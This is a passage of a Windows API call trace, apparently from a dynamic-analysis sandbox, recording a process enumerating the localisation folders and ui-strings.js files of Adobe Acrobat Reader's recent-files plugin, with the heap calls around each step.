ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.479] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0258.480] GetProcessHeap () returned 0xc10000 [0258.480] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.480] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0258.480] GetProcessHeap () returned 0xc10000 [0258.480] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0258.480] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.480] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.480] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.480] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0258.480] GetProcessHeap () returned 0xc10000 [0258.481] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.481] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0258.481] GetProcessHeap () returned 0xc10000 [0258.481] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0258.482] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.482] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.482] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.482] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0258.482] GetProcessHeap () returned 0xc10000 [0258.482] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.482] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0258.482] GetProcessHeap () returned 0xc10000 [0258.482] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.482] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.483] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.483] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.483] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.483] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.483] GetProcessHeap () returned 0xc10000 [0258.484] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.484] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0258.484] GetProcessHeap () returned 0xc10000 [0258.484] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0258.485] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.485] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x411, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.485] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x411, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.485] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0258.485] GetProcessHeap () returned 0xc10000 [0258.485] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.485] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0258.485] GetProcessHeap () returned 0xc10000 [0258.485] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.486] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.486] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.486] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.486] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.486] GetProcessHeap () returned 0xc10000 [0258.486] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.486] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0258.486] GetProcessHeap () returned 0xc10000 [0258.486] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.486] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0258.487] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.487] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.488] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0258.488] GetProcessHeap () returned 0xc10000 [0258.488] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.488] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0258.488] GetProcessHeap () returned 0xc10000 [0258.488] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.489] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.489] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.489] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.489] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.489] GetProcessHeap () returned 0xc10000 [0258.489] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.489] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0258.489] GetProcessHeap () returned 0xc10000 [0258.490] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.490] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0258.490] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.491] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.491] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 